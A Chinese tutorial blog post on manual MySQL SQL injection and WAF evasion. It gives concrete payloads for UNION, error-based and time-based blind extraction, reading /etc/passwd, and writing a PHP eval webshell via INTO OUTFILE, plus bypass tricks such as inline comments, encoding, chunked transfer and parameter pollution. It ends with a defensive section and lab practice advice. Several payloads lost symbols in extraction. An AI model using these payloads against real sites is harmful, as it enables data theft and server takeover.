手工SQL注入实战:从基础原理到WAF绕过技巧深度解析

📅 发布时间:2026/7/23 16:24:40
手工SQL注入实战:从基础原理到WAF绕过技巧深度解析 1. 项目概述从“万能钥匙”到“外科手术”提起SQL注入很多人的第一反应就是那个经典的‘ or 11 --。这就像一把“万能钥匙”在早期的、毫无防护的Web应用面前几乎能打开所有大门。但如果你今天还只拿着这把钥匙去闯荡大概率会撞得头破血流——不是被现代WAFWeb应用防火墙无情拦截就是面对复杂的应用逻辑束手无策。我干了十多年安全测试和渗透越来越觉得把SQL注入理解成“拼接字符串绕过登录”是最大的误解。它本质上是一场与应用程序逻辑和数据库引擎的深度对话一次精密的“外科手术”。or 11只是最粗暴的“开膛破肚”而真正的高手需要懂得在WAF的“免疫系统”监视下找到血管和神经的缝隙精准下刀。这次我们就抛开自动化工具回归“手注”的本质拆解那些让WAF形同虚设的底层逻辑。无论你是想在DVWA、Pikachu靶场里通关还是想理解真实环境中那些CVE漏洞比如CVE-2014-3704 Drupal 7的未授权SQL注入的利用精髓这套思维方法都是核心。2. 思维重塑理解注入的本质与WAF的盲区在动手之前我们必须先扭转思维。SQL注入不是“猜密码”而是“构造合法SQL语句”。2.1 注入点应用程序与数据库的“翻译接口”想象一下你用户通过网页表单提交了一个名字如Tom。应用程序如PHP代码收到后会把它“翻译”成数据库能听懂的语言。如果代码写得不好翻译过程可能就是简单的字符串拼接$sql “SELECT * FROM users WHERE name ‘“ . $_GET[‘name’] . “’”;当你提交Tom最终的SQL语句是SELECT * FROM users WHERE name ‘Tom‘。这没问题。但如果你提交的是Tom‘ or ‘1’’1呢拼接后就变成了SELECT * FROM users WHERE name ‘Tom‘ or ‘1’’1’这里的or ‘1’’1’永远为真导致整个WHERE条件失效返回所有用户数据。这就是最基础的注入。但现代应用很少这么写了WAF也会直接拦截or、11这种明显特征。所以手注的第一步不是丢payload而是观察和分析这个参数被“翻译”后在最终的SQL语句中扮演什么角色它是包裹在单引号里还是双引号里或者根本没有引号数字型它是否被用于ORDER BY、LIMIT或者表名、列名位置不同的位置构造手法的差异巨大。2.2 WAF的工作原理与核心盲区WAF不是人工智能它主要依靠规则匹配正则表达式来拦截可疑请求。它的优势是快能覆盖已知攻击模式劣势是死板难以理解上下文。WAF的常见拦截逻辑包括关键词黑名单拦截union select,sleep(,benchmark(,extractvalue(,updatexml等明显的关键词。语法特征检测检测连续的‘、“、#、--等可能用于闭合语句的符号。逻辑异常检测如11、1‘ and ‘1’’2这类恒真恒假的条件。敏感函数调用检测load_file(),into outfile等危险函数。而我们的核心绕过思路就是针对这些死板的规则混淆与变形让攻击载荷“看起来”不像攻击载荷。比如用/**/代替空格用%0a换行符分割语句。等价替换用功能相同但字符串不同的表达式。比如不用11用21不用or用||在某些数据库中。上下文利用利用WAF难以完整解析整个SQL语句上下文的弱点。例如将payload拆分到多个参数中或者利用HTTP参数污染HPP等技术。溢出与性能绕过有些WAF对单个请求体或参数长度有限制超长或超复杂的payload可能导致其检测模块被绕过或崩溃。注意绕过WAF的前提是你的注入payload在数据库层面最终能被正确解析和执行。因此所有混淆操作都必须保证在数据库引擎看来其语义是清晰不变的。这需要你对目标数据库MySQL、MSSQL、PostgreSQL等的SQL语法和解析特性有深入了解。3. 手注实战全流程拆解以MySQL为例我们假设一个经典的注入场景一个用户查询功能URL为/user.php?id1后端疑似执行了SELECT username, email FROM users WHERE id $_GET[‘id’]。我们将一步步“手动”推进。3.1 第一步侦察与确认——判断注入点与类型目标确认是否存在注入点并判断是字符型、数字型还是其他。操作与思考基础探测输入id1正常返回用户1的信息。输入id1‘观察页面。如果返回数据库错误如You have an error in your SQL syntax...则极有可能是字符型注入并且单引号未被过滤。如果页面空白、报500错误或跳转也可能是注入迹象但需要进一步判断。输入id1‘ and ‘1’’1和id1‘ and ‘1’’2。如果前者返回正常后者返回异常无数据或错误则基本确认存在字符型注入。这里and ‘1’’1是永真条件不影响原查询and ‘1’’2是永假条件应导致查询无结果。WAF初步试探如果and、‘被拦截尝试变形id1‘ anandd ‘1’’1WAF可能拦截and但anandd被拦截规则匹配后中间的and被识别后端代码有时会错误地删除或替换掉匹配到的关键词变成and。这需要猜解WAF的过滤逻辑。id1‘ %26%26 ‘1’’1%26%26是的URL编码在MySQL中也是“与”的意思。id1‘ /*!and*/ ‘1’’1利用MySQL内联注释/*! ... */中的内容在MySQL中会被执行在其他数据库或WAF解析时可能被忽略。关键技巧不要一上来就用复杂payload。从最简单的异常输入一个引号开始观察服务器的“反应模式”错误信息、状态码、响应时间、页面内容差异这比工具返回的一个“可能存在注入”有价值得多。3.2 第二步信息收集——获取数据库结构目标在确认注入点后在不触发WAF的情况下获取数据库名、表名、列名。操作与思考判断列数ORDER BY目的是为后续UNION SELECT做准备。UNION前后查询的列数必须相同。Payload:id1‘ order by 5 --逐步增加order by后面的数字5,6,7...直到页面报错或返回异常。假设order by 4正常order by 5错误则说明主查询有4列。WAF绕过点order by可能被拦截。尝试id1‘ /*!order*/ /*!by*/ 4 --尝试id1‘ oRder bY 4 --(大小写混淆)尝试用GROUP BY替代如id1‘ group by 1,2,3,4 --通过是否报错来判断列数。判断回显点UNION SELECT知道了列数例如4列我们构造UNION SELECT让数据库将我们想要的信息直接显示在页面上。Payload:id-1‘ union select 1,2,3,4 --将id设为-1或一个不存在的值目的是让原查询结果为空从而使页面只显示我们union select的结果。页面上显示的数字如2和3就是我们可以用来回显数据的位置。WAF绕过点union select是重点监控对象。空白符替换union%0aselect,union/**/select。注释包裹union/*aaaa*/select/*!union*/ /*!select*/。多重嵌套ununionion selselectect配合WAF的过滤机制可能删除union留下union。非常规语法在MySQL中union distinct select和union select等价但字符串可能不同。获取关键信息假设回显点在2和3。我们替换它们Payload:id-1‘ union select 1,database(),user(),4 --这样database()当前数据库名和user()当前数据库用户就会显示在页面2和3的位置。接着获取表名Payload:id-1‘ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() --information_schema.tables是MySQL的系统表存储了所有表的信息。group_concat()函数将多行结果合并成一个字符串方便查看。实操心得如果information_schema被WAF拦截或数据库用户无权访问可以考虑盲注或时间盲注来逐字符猜解表名或者利用已知的CVE漏洞特性如Drupal的CVE-2014-3704利用了展开数组时的SQL注入有其特定的利用路径。3.3 第三步数据提取——获取目标表数据目标从感兴趣的表如users中提取字段如username,password。操作与思考获取列名Payload:id-1‘ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --这里需要知道表名users并用引号括起来。如果引号被过滤可以用十六进制表示table_name0x7573657273users的十六进制。提取数据知道了列名username,password就可以直接查询了。Payload:id-1‘ union select 1,username,password,4 from users --如果密码是哈希值如MD5可能需要后续破解。高级技巧如果union被卡死可以考虑使用报错注入或盲注来提取数据。例如使用updatexml()或extractvalue()函数通过构造错误的XPath路径让数据库在错误信息中返回我们查询的数据。报错注入示例id1‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --。0x7e是波浪号~concat将其与查询结果拼接updatexml解析错误时会将这些内容输出到错误信息中。注意updatexml和extractvalue同样在WAF的黑名单里需要做混淆。3.4 第四步权限提升与后续操作目标评估数据库用户权限尝试读写文件或执行命令。操作与思考判断权限user()函数返回的用户名和主机。rootlocalhost意味着高权限。查询select super_priv, file_priv from mysql.user where usersubstring_index(user(),‘‘,1)可以判断是否有超级权限和文件操作权限。文件读取如果拥有FILE权限可以尝试读取服务器文件id-1‘ union select 1,load_file(‘/etc/passwd‘),3,4 --WAF绕过load_file是敏感词。可以尝试路径混淆、使用十六进制路径、或利用union子查询等方式。文件写入获取Webshell这是高危操作。需要FILE权限和Web目录的可写路径。Payload:id1‘ into outfile ‘/var/www/html/shell.php‘ lines terminated by 0x3c3f70687020406576616c28245f504f53545b2763275d293b203f3e --这段payload将一句话PHP木马?php eval($_POST[‘c‘]); ?的十六进制写入到Web目录下的shell.php文件中。极度谨慎此操作动静极大极易触发安全告警且在法律授权的渗透测试中也需要明确授权。在靶场如DVWA的高等级中练习时也需注意靶场环境是否允许。4. 高级WAF绕过技巧深度剖析当基础混淆失效时我们需要更深入地利用WAF与数据库解析的差异。4.1 利用数据库特性进行混淆不同数据库有独特的语法特性WAF规则可能无法全覆盖。MySQL内联注释/*!50001select*/ 1。/*!50001 ... */表示在MySQL版本5.00.01时执行其中的内容。可以用于包裹关键词。空白符替代普通空格%20制表符%09换行符%0a,%0d注释/**/,/*abcd*/括号在MySQL中某些情况下括号可以用于分隔如select(1)from(users)。字符串编码与变形十六进制select 0x616263等价于select ‘abc‘。字符函数select char(97,98,99)等价于select ‘abc‘。URL编码、双重URL编码有时WAF只做一次解码%2527%27的编码被WAF解码成%27传到后端再解码成单引号‘。4.2 分块传输编码Chunked Transfer Encoding这是一种HTTP协议特性。将请求体分块发送可以扰乱一些依赖于完整请求体进行模式匹配的WAF。一些高级渗透工具如Burp Suite的插件可以自动化这个过程。其原理是让WAF看到的是一个不完整的“碎片化”的请求而后端Web服务器在接收完所有分块后会将其重组为完整的请求体从而成功执行注入。4.3 参数污染与参数拆分HTTP参数污染HPP提交多个同名参数如id1id2‘ union select 1,2,3 --。不同的Web服务器Apache, IIS, Nginx对同名参数的处理方式不同取第一个、取最后一个、合并等。WAF可能只检查其中一个而应用程序实际使用的却是另一个从而形成绕过。参数拆分将一个完整的payload拆分到多个不同的参数中。例如原本的id1‘ union select 1,2,3可以尝试拆成id1‘ /*a*/union/*b*/select 1,2,3。WAF单独检查每个参数时可能无害但后端拼接后却构成攻击。4.4 时间盲注Time-Based Blind Injection对抗WAF当页面没有任何回显无数据、无错误信息且WAF拦截了所有显错和union语句时时间盲注是最后的利器。其核心是通过构造条件语句控制数据库执行延时函数通过页面响应时间的差异来判断条件真伪。基础Payloadid1‘ and if(ascii(substr(database(),1,1))100,sleep(5),0) --含义如果当前数据库名第一个字符的ASCII码大于100则让数据库睡眠5秒否则立即返回。通过观察页面响应是否延迟5秒就能逐位猜解出数据。WAF绕过要点sleep()是敏感词。可以尝试用benchmark(10000000,md5(‘test‘))来制造CPU运算延时。将条件判断和延时函数进行复杂混淆如嵌套使用case when ... then ... else ... end语句。时间盲注效率极低需要自动化脚本辅助。但它的优势在于流量特征极其隐蔽看起来只是一系列普通的、带有不同参数值的请求很难被基于规则的WAF识别。5. 实战案例与靶场通关思维理解了原理我们将其应用到具体环境。5.1 DVWA靶场从Low到ImpossibleLow级别几乎没有防护是练习手注流程的绝佳场地。重点练习‘确认、order by、union select、information_schema查询的全过程。Medium级别使用了mysql_real_escape_string()函数处理输入并对id参数做了int强制类型转换。数字型注入无需闭合引号。Payload如1 union select 1,2,3。这里考察的是对注入类型的识别。High级别输入被限制在单行且使用了LIMIT 1。注入点转移到了Cookie或另一个隐藏的输入框。需要你发现真正的注入点并可能用到#注释符因为--需要空格可能受限制。Impossible级别使用了预处理语句Prepared Statements从根本上杜绝了SQL注入。这时任何注入尝试都是徒劳的。这个级别的意义在于告诉你修复SQL注入的最佳且唯一彻底的方法就是使用参数化查询预处理语句。5.2 Pikachu靶场SQL注入关卡Pikachu靶场提供了更丰富的场景数字型/字符型/搜索型注入锻炼你判断闭合方式的能力。搜索型注入通常需要处理%和_等通配符。XX型注入考察对INSERT、UPDATE、DELETE语句的注入利用思路与SELECT类似但目的是篡改数据或利用UPDATE写入Webshell。“盲注”和“宽字节”盲注系统性地练习布尔盲注和时间盲注的脚本编写和手工推断思维。宽字节注入一个经典案例。当数据库使用GBK等宽字符集且PHP使用addslashes或mysql_real_escape_string转义时会在‘前加\变成\‘如果用户输入%df‘经过转义变成%df\‘。在GBK编码下%df\可能被识别为一个宽字符如“運”从而使后面的‘逃逸出来形成注入。绕过思路在于利用字符编码转换的漏洞。5.3 从CVE-2014-3704看真实漏洞利用Drupal 7的这个漏洞之所以危险在于它是一个“未授权”的SQL注入意味着攻击者无需登录即可利用。其根源在于Drupal对数组键名处理不当。一个简化的攻击载荷可能像这样向某个端点发送POST数据其中包含精心构造的数组如query[conditions][0][field][0][value]...最终这个数组的键值在被拼接到SQL语句时未经过滤。给我们的启示漏洞不只在常见位置注入点可能隐藏在复杂的框架数据处理逻辑中不一定是简单的id。自动化工具可能失效对于这种需要特定格式如数组触发的漏洞普通的SQL注入扫描器很难发现。需要代码审计或对框架特性的深入理解。利用链可能很复杂真实漏洞的利用往往需要结合多个步骤比如先通过注入获取管理员密码哈希再破解或重放Cookie进入后台最后上传Webshell。6. 防御视角如何写出“免疫”手注的代码作为开发者理解攻击是为了更好的防御。首选参数化查询预处理语句这是根治SQL注入的银弹。无论是PHP的PDOJava的PreparedStatement还是Python的cursor.execute(“SELECT * FROM users WHERE id %s”, (user_id,))其原理都是将SQL语句的结构模板与数据分开。数据库先编译语句结构再将数据作为纯参数传入从根本上杜绝了数据改变语句结构的可能。严格的输入验证与类型转换如果id应该是数字就在代码入口处强制转换为整型$id (int)$_GET[‘id‘];。对于字符串定义允许的字符白名单如只允许字母数字拒绝其他任何字符。最小权限原则连接数据库的应用程序账号只赋予其完成业务所需的最小权限。禁止FILE、GRANT、SHUTDOWN等高级权限。这样即使发生注入危害也被限制在单个数据库的查询范围内。错误信息处理生产环境禁止将详细的数据库错误信息直接返回给用户。应使用统一的、模糊的错误页面。这不会阻止注入但会极大增加攻击者判断注入成功与否和获取信息的难度。使用Web应用防火墙WAF虽然我们讨论了绕过但WAF仍然是重要的纵深防御层。它可以拦截大量自动化工具扫描和已知攻击模式为修复漏洞争取时间。但切记WAF是“盾”不是“根”代码安全才是根本。定期安全审计与渗透测试使用自动化工具如SQLMap结合手动测试定期对系统进行安全检查。特别是对业务逻辑复杂、用户输入点多的功能进行重点审查。手工SQL注入是一门逐渐式微但精髓永存的手艺。在自动化工具大行其道的今天坚持手注练习能让你穿透WAF告警的迷雾真正理解数据是如何在应用与数据库之间流动的漏洞是如何在代码的细微缝隙中产生的。这种对底层逻辑的把握是成为一个真正安全研究员的基石。在靶场里你可以大胆尝试所有学到的绕过技巧但在真实世界中请务必牢记法律与道德的边界你的技能应该用于建设而非破坏。